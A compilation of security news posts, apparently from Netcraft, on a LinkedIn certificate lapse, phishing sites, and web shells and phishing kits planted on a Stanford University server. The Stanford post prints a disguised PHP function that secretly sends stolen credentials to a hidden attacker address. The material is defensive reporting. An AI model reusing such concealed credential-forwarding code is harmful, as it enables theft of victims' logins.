LinkedIn certificate blunder leaves users LockedOut!

Many LinkedIn users were unable to access the professional networking website today after its administrators failed to renew a TLS certificate before it expired.

Image10

The certificate in question was used by various country-specific LinkedIn websites such as https://uk.linkedin.com and https://de.linkedin.com. It expired at midday today, immediately preventing users from accessing the site via these hostnames.

The expired certificate was issued to us.linkedin.com, but was also valid for – and used by – dozens of other country-specific LinkedIn hostnames. The main site at www.linkedin.com was not affected.

The expired certificate was issued to us.linkedin.com, but was also valid for – and used by – dozens of other country-specific LinkedIn hostnames. The main site at www.linkedin.com was not affected.

The sites were still inaccessible a few hours after the problem manifested itself.

The sites were still inaccessible a few hours after the problem manifested itself.

Ironically, LinkedIn's better-than-average security made the expired certificate even more problematic. Most browsers will allow users to ignore certificate validation warnings — however unwise that may be — but the warnings cannot be ignored on these LinkedIn sites.

LinkedIn is in a minority of sites that make use of a security feature called HTTP Strict Transport Security. This feature protects HTTPS sites against trivial man-in-the-middle attacks, but unfortunately in this case, the additional security made the site completely unreachable for regular users.

Good security requires great care: Strict Transport Security is a good idea, but when a certificate expires, users cannot visit the site because browsers will not allow the warnings to be ignored.

Good security requires great care: Strict Transport Security is a good idea, but when a certificate expires, users cannot visit the site because browsers will not allow the warnings to be ignored when an active HSTS policy is in place.

Many modern browsers, such as Firefox and Chrome, simply do not allow users to add an exception when a site has an HSTS policy in place. LinkedIn's HSTS policy has a validity period of 30 days, which means that anyone who has visited the site within the past month would have been unable to add a certificate exception, and would therefore not be able to visit the site until LinkedIn renewed the certificate.

LinkedIn's expired certificate was renewed shortly before this article was published.

Major update to Netcraft Anti-Phishing Extension for Firefox

An update to the Netcraft Anti-Phishing Extension for Mozilla Firefox is now available. This release replaces the Toolbar interface with a modern Button interface to sit alongside the browser's address bar.

firefox-extension-cropped

The upcoming Firefox 57 — to be released on the 14th November — represents a major overhaul of the browser, and removes support for legacy XUL extensions. Future versions of Firefox will only support the new cross-browser WebExtensions API.

The Netcraft Anti-Phishing Extension (known then as the Netcraft Toolbar) was first made available for Internet Explorer in December 2004. A Firefox version followed in May 2005. The current button-style Anti-Phishing Extension was released for Google Chrome and the Opera browser in 2012 and 2013 respectively. The new extension enjoys a 4.5 star rating on the Google Chrome Store.

The Extension runs on any operating system supported by the desktop version of Mozilla Firefox and displays the hosting location, country, longevity, popularity, and an abstracted risk rating for each site visited. In particular its key features are:

  • Protection against phishing sites — The Netcraft anti-phishing community is effectively a giant neighbourhood watch scheme, empowering the most alert and most expert members to defend everyone within the community. As soon as the first recipients of a phishing mail report it, we can block it for all users of the extension providing an additional level of protection from Phishing. Netcraft processes reports of fraudulent URLs from a diverse variety of sources and proactively searches for new fraudulent sites.
  • Detailed site reports — simply click the Netcraft logo to access a wealth of information about the sites you visit, helping you to make informed choices about their safety.
  • Risk Ratings — we evaluate the characteristics of the site compared against those depicted by fraudulent sites. The result is a simple visual summary displayed on the site report.
  • Conveniently report suspected phishing & fraudulent sites — At the click of the button you can report suspected web forgeries to Netcraft, helping to protect the community. Netcraft operates an incentive scheme for Phishing site submissions, including iPads, backpacks, mugs, and more... Over 38.4 million phishing sites have been detected and blocked by Netcraft since the anti-phishing service was launched (November 2017).
  • Protection against cross site scripting (XSS) — The extension optionally traps XSS and other suspicious URLs which contain characters highly likely to deceive.
firefox-blocked-url

The Extension is available for download from the Firefox add-ons page and requires no special administrator privileges to install. Users of the existing Netcraft Anti-Phishing Toolbar will be upgraded automatically to the latest version.

Versions of the Extension are available for other browsers on the Google Chrome Store and Opera add-ons page.

Customised versions with corporate branding and navigation are also available.

First fishy phishing sites sighted

Alliteration aside, Netcraft has found and blocked the first phishing site to be hosted on the homepage of a .fish generic top-level domain (gTLD).

Ripe for crappie puns: A single roe of malicious phishing content hosted on a .fish website.

While a few phishing sites have been found using the .fish and .fishing gTLDs before, parser.fish became the first to host malicious phishing content directly on its homepage. Fraudsters lured unsuspecting suckers to the fishy site, where a cheeky 99-char meta redirect sent them off to a separate phishing site hosted in Vietnam. This then attempted to steal online banking credentials by impersonating the French banking cooperative, BRED.

You didn't need to be a brain sturgeon to mullet over and decide this site smelt a bit fishy.

You didn't need to be a brain sturgeon to mullet over and decide this site smelt a bit fishy.

This is not the first time a fishy top-level domain has been used in a phishing attack, although it is pretty rare. Since the .fish and .fishing gTLDs were delegated to the internet back in 2014, there has been barely a whiff of phishing activity on them. In fact, there hasn't been much legitimate activity, either – Netcraft's top million websites contain only one .fish domain and just a sole .fishing domain, and the entire 1.8 billion site survey contains fewer than 6,000 websites that use a .fish or .fishing domain.

A week before blocking this attack, the parser.fish domain was also home to a Netflix phishing site, but this was hosted in a subdirectory on the site and has since been taken down. The parser.fish domain has been registered through Tucows, using its Contact Privacy domain privacy service to prevent the registrant's details being displayed publicly; but this could just be a red herring and doesn't necessarily mean it was registered with fraudulent intent. The fact that the phishing content has also already been removed from its homepage suggests that the site may simply have been compromised rather than having been created specifically for the porpoise of phishing.

The only other fishy phishes in history have been hosted on legitimate (but now defunct) websites that had also been compromised. Earlier this year, a subdirectory on www.vape.fish was found hosting an ANZ phishing site, while last year a different one was found on www.hot-spot.fishing, which used to sell Russian fishing supplies.

Stanford Uni site infested with hacking tools and phish for months!

Stanford University has unwittingly demonstrated just how bad things can get once a website is compromised by a web shell.

Our story begins on 31 January 2017, when the website of the Paul F. Glenn Center for the Biology of Aging at Stanford University was compromised. Unfortunately, the only people who seemed to notice this at the time were other hackers, who subsequently exploited the compromise to deploy several phishing sites, hacking tools and defacement pages on glennlaboratories.stanford.edu over the following months.

During the January compromise, a hacker placed a rudimentary PHP web shell into the top-level directory of the website. The shell was named wp_conffig.php in an attempt to blend in with the rest of the WordPress software that the site uses. This naming scheme was evidently successful at avoiding detection by Stanford's website administrators, as the PHP shell was still accessible 4 months later:

This rudimentary PHP shell was installed in January and is still on the server at the time of writing. It allows attackers to upload files and execute arbitrary commands on the Stanford web server. No authentication is required, so literally anybody can use this page.

This rudimentary PHP shell was installed in January and was still on the server at the time of writing. It allowed attackers to upload files and execute arbitrary commands on the Stanford web server. No authentication was required, so literally anybody could have used this page.

While WordPress has a bad history with regard to phishing, it is worth pointing out that the Stanford site has been running the latest release of WordPress (4.7.5) since 20 April 2017, and so without further investigation, the original route of compromise is not apparent. However, with an anonymously accessible web shell on the server since January, further compromises were inevitable...

By 14 May 2017, a second web shell had been uploaded to the server. This was based on the WSO (Web Shell by Orb) script, which displays directory listings and offers several other hacking tools that can be used to crack passwords and gain access to databases. Again, the hacker tried to make this web shell harder to notice by calling it config.php.

The second web shell uploaded to the Stanford site has many more features than the first. This one can also be accessed without needing a password. The timestamps next to each file allow a likely timeline of events to be reconstructed.

The second web shell uploaded to the Stanford site has many more features than the first. This one can also be accessed without needing a password. The timestamps next to each file allow a likely timeline of events to be reconstructed.

The WSO shell makes it apparent that the Debian server is not running the latest version of PHP. While there might not have been any unpatched security vulnerabilities that were serious enough to allow compromise, it at least demonstrates a lack of attention to security.

Six minutes later, the hacker uploaded an HTML file named Alarg53.html. This simply displayed the message "Hacked By Alarg53":

The second hacker was keen to claim responsibility for the compromise.

The second hacker was keen to claim responsibility for the compromise.

Similar "Hacked By Alarg53" defacement pages can be found on dozens of other websites, which suggests the hacker is well versed at using web shells to compromise websites.

Several hours later, a hacker – possibly the same one – uploaded two more PHP scripts to the server. The first of these scripts was w3mailer.php, which can be used to send large amounts of spam – ideal for sending lots of phishing emails.

The PHP Emailer SMTP script by Predator. This can be used to send phishing emails from the compromised Stanford University web server.

The PHP Emailer SMTP script by Predator. This can be used to send phishing emails from the compromised Stanford University web server.

Incidentally, the PHP Emailer script contains the following obfuscated JavaScript, which is unwittingly executed whenever the page is accessed by the hacker who uploaded it.

This client-side code in the PHP Mailer script attempts to download and execute a remote JavaScript file. It is obfuscated to keep this fact secret from the hacker who uploaded the script.

This client-side code in the PHP Mailer script attempts to download and execute a remote JavaScript file. It is obfuscated to keep this fact secret from the hacker who uploaded the script.

When the code is de-obfuscated, it can be seen that it causes an externally-hosted JavaScript file to be downloaded; however, the site on which this third-party script is located is currently down. Nonetheless, it illustrates one of the ways in which the authors of these hacking tools can quickly find out where other hackers have deployed them. The author can then monetize the situation by selling the URL of the deployed tool, which will attract new hackers to the compromised server.

The de-obfuscated JavaScript shows how it attempts to load an externally hosted script.

The de-obfuscated JavaScript shows how it attempts to load an externally hosted script.

The other PHP script – promailer.php – was uploaded five minutes later. It provides similar functionality to the previously uploaded script, but does not contain any nefarious JavaScript.

This Pro Mailer V2 script is a safer choice for the hacker, as it does not execute JavaScript from external websites.

This Pro Mailer V2 script is a safer choice for the hacker, as it does not execute JavaScript from external websites.

The following day, an unknown hacker uploaded an archive named 1.zip into the top-level directory of the compromised Stanford website. This archive was unzipped on the server to instantly deploy a Chinese HiNet phishing site, designed to steal webmail credentials from customers of this Chunghwa Telecom internet service.

This may have been the first phishing site to be deployed on the compromised Stanford University website. It redirects victims to the real hinet.net website after it has stolen their credentials. It is possible that other phishing sites existed before this but were deleted by subsequent hackers.

This may have been the first phishing site to be deployed on the compromised Stanford University website. It redirects victims to the real hinet.net website after it has stolen their credentials. It is possible that other phishing sites existed before this but were deleted by subsequent hackers.

A few days later, on 21 May, a new hacker decided to leave his trace on the server by uploading another defacement page called TFS.html. This demonstrates that at least two separate hackers have compromised the server this month alone, possibly by making use of the hacking tools that already existed on it.

Another defacement page uploaded to the Stanford University site by a different hacker.

Another defacement page uploaded to the Stanford University site by a different hacker.

Another HiNet phishing site was also deployed on the compromised server later that day.

After another short lull in fraudulent activity, two more archives were uploaded on 23 May: i.zip and linkedin.zip. These were extracted to multiple locations to create several phishing sites that targeted users of Office365 and LinkedIn.

The Office 365 phishing site. It simply steals a victim's credentials before redirecting them to the real Office365 login page at login.microsoftonline.com.

The Office 365 phishing site. It simply steals a victim's credentials before redirecting them to the real Office365 login page at login.microsoftonline.com.

One of the LinkedIn phishing sites. Like the other phishing sites, it only attempts to steal a victim's username and password before redirecting them to the real site at https://www.linkedin.com/.

One of the LinkedIn phishing sites. Like the other phishing sites, it only attempts to steal a victim's username and password before redirecting them to the real site at https://www.linkedin.com/.

The following day, another archive – KC.zip – was uploaded to the compromised server. This contained a generic phishing kit that is designed to steal a victim's email address and password, without impersonating any particular brand.

The generic phishing site after it had been deployed on the Stanford server.

The generic phishing site after it had been deployed on the Stanford server.

Regardless of what is entered into the above form, the victim will always be told that there was a login error, and that they should go back and try again. This could cause victims to try submitting different username and password combinations, giving the attacker an even greater haul of stolen credentials that might work on other websites. Each time the form is submitted, the victim's email address and password is emailed to a pair of Gmail addresses.

The generic phishing kit is configured to send stolen credentials to the same pair of Gmail addresses as the LinkedIn phishing kit, which obviously suggests that they were uploaded by the same fraudster.

Yet another phishing kit – ileowosun.zip – was uploaded to the server on 27 May. This one impersonated a SunTrust Bank login form, but used a completely different set of email addresses to collect victims' account details. This suggests yet another fraudster could have been responsible for deploying this phishing site.

This convincing SunTrust Bank phishing site was deployed on 27 May, after Netcraft had alerted the Center's director.

This convincing SunTrust Bank phishing site was deployed on 27 May, after Netcraft had alerted the Center's director.

Interestingly, one of the PHP scripts in the SunTrust phishing kit contains the following function, which is rather more dubious than the comment and function name might suggest:

// Function to get country and country sort;
function country_sort(){
    $sorter = "";
    $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
        $count = count($array);
        for ($i = 0; $i < $count; $i++) {
            $sorter .= chr($array[$i]);
        }
    return array($sorter, $GLOBALS['recipient']);
}

The array of integers declared in this function is decoded to yield the email address resultbox14@gmail.com. Phishing kit authors often use tricks like these to hide their own email addresses in their kits. This allows them to receive credentials from all future deployments of the kit, while letting other fraudsters do the hard work of finding compromised servers on which to deploy the kits. By disguising the author's "secret" email address within a legitimate-looking function, most fraudsters who deploy the kit are unlikely to delete or alter the nefarious code.

Interestingly, the KC.zip and ileowosun.zip phishing kits – as well as the directories they were unzipped into – were deleted from the server around 29 May. It is not clear who did this, but no other phishing kits or hacking tools were removed, which puts the finger of suspicion on a rival fraudster.

When a compromised server has become so infested with hacking tools and phishing kits, one ironic side effect is that other fraudsters may subsequently come along and remove the existing phishing content, thus protecting some potential victims. But of course, the general trend is for more kits to be deployed on the server, and indeed, also on 29 May, a second SunTrust phishing kit was uploaded.

What went wrong?

A single Stanford University website has ended up hosting several hacking tools that have likely been used by multiple hackers to deploy a similar number of phishing sites onto the server. Failing to notice and remove the hacking tools could well have compounded the problem by facilitating the more recent compromises.

Hosting providers – including universities – can receive an alerting service from Netcraft which will notify them whenever phishing, malware, or web shells are detected on their infrastructure. Organisations targeted by high volume phishing administered via web shells may trial Netcraft's Countermeasures service.

Note: Publication of this article was delayed until Stanford University had removed the aforementioned hacking tool scripts from the website.

Web Shells: The Criminal’s Control Panel

Web shells are an overlooked aspect of cyber crime and do not attract the level of attention of either phishing or malware. Nevertheless, Netcraft found more than 6,000 web shells during April 2017, which works out at around 1 new shell installation every 5 minutes. When web shells first appeared, the limit of their functionality was to transfer files and execute arbitrary shell commands. However, the best engineered web shells now provide well presented, sophisticated toolkits for diverse crimes, with facilities for password cracking, privilege elevation, network reconnaissance, phishing, spamming and DDoS, not solely available through a web based user interface but also accepting commands as part of a botnet.

An example of the WSO shell

An example of the hugely popular and feature-rich WSO (Web Shell by Orb) shell.

A number of shells offer the creation of a botnet in as little as a click, launching standalone processes that either connect to a command and control server or listen for commands over an insecure TCP connection. Some allow performing port scans to find potentially exploitable services. Others enable fraudsters to schedule denial of service attacks. There are shells dedicated to sending bulk spam emails, testing stolen credentials against popular websites (such as PayPal or Amazon), cracking passwords, and automatically defacing websites. With such a wide array of powerful features, it is unsurprising how popular web shells are with cyber criminals.

The WSO shell offers both bind shell and back connect options. Selecting one of these options will launch a standalone process that will connect to or listen for a connection from a remote command and control server - an easy method for the creation of a botnet.

WSO offers both bind shell and back connect options. Selecting one of these options will launch a standalone process that will connect to or listen for a connection from a remote command and control server - an easy method for the creation of a botnet.

The prevalence of these backdoors allows easy—and potentially persistent—access to thousands of compromised machines. If the web shell is missed during the webmaster's cleanup after an attack, removing the original phishing or malware content will be in vain, as the fraudster can use the web shell to upload new malicious material, or re-purpose the machine as an accessory to alternative forms of cyber crime.

Continue reading

Phishing sites react promptly to new browser changes

The number of phishing sites making use of HTTPS has increased noticeably since January, coinciding with the introduction of a new feature in the Mozilla Firefox and Google Chrome web browsers.

Both Firefox and Chrome now display warnings when an unencrypted (HTTP) webpage contains a password field. This behaviour is intended to protect users from man-in-the-middle attacks, and also encourages the affected websites to start using secure HTTPS connections when handling sensitive data.

This German PayPal phishing site uses the unencrypted HTTP protocol, causing the latest version of Firefox to display an unmissable warning message when the user interacts with the login form.

This German PayPal phishing site uses the unencrypted HTTP protocol, causing the latest version of Firefox to display an unmissable warning message when the user interacts with the login form.

These warning messages could scupper many phishing sites: Most are served over unencrypted HTTP connections, and so another positive consequence of the new browser behaviour is that potential victims are less likely to fall for phishing attacks.

However, fraudsters may have quickly realised this, as there has been a dramatic increase in the number of phishing sites making use of HTTPS. If the new browser behaviour has driven this change — and the timing suggests it might have — then it may have also had the unintended side effect of increasing the efficacy of some phishing sites. Phishing sites that now use HTTPS and valid third-party certificates can appear more legitimate, and therefore increase the likelihood of snaring a victim.

Firefox 51 and Chrome 56 were the first stable browsers to flag HTTP websites as insecure if they contained password fields. Their release dates appear to coincide with the increase in HTTPS phishing sites.

Firefox 51 and Chrome 56 were the first stable browsers to flag websites as insecure if they contained password fields. Their release dates appear to coincide with the increase in HTTPS phishing sites.

Another plausible hypothesis is that many legitimate websites have migrated to HTTPS in response to the new behaviour in Firefox and Chrome. Phishing sites are often hosted on compromised websites, and so this would naturally cause the number of HTTPS phishing sites to increase accordingly; or it could be that some fraudsters are now targeting HTTPS websites in preference to HTTP sites.

While the majority of today's phishing sites still use the unencrypted HTTP protocol, a threefold increase in HTTPS phishing sites over just a few months is quite significant. Regardless of what caused this change, phishing sites that use the unencrypted HTTP protocol could still prove effective against some victims, as not all browsers share the behaviour implemented in Firefox and Chrome. In particular, Microsoft's Internet Explorer and Edge browsers do not yet display any warnings when users interact with insecure forms.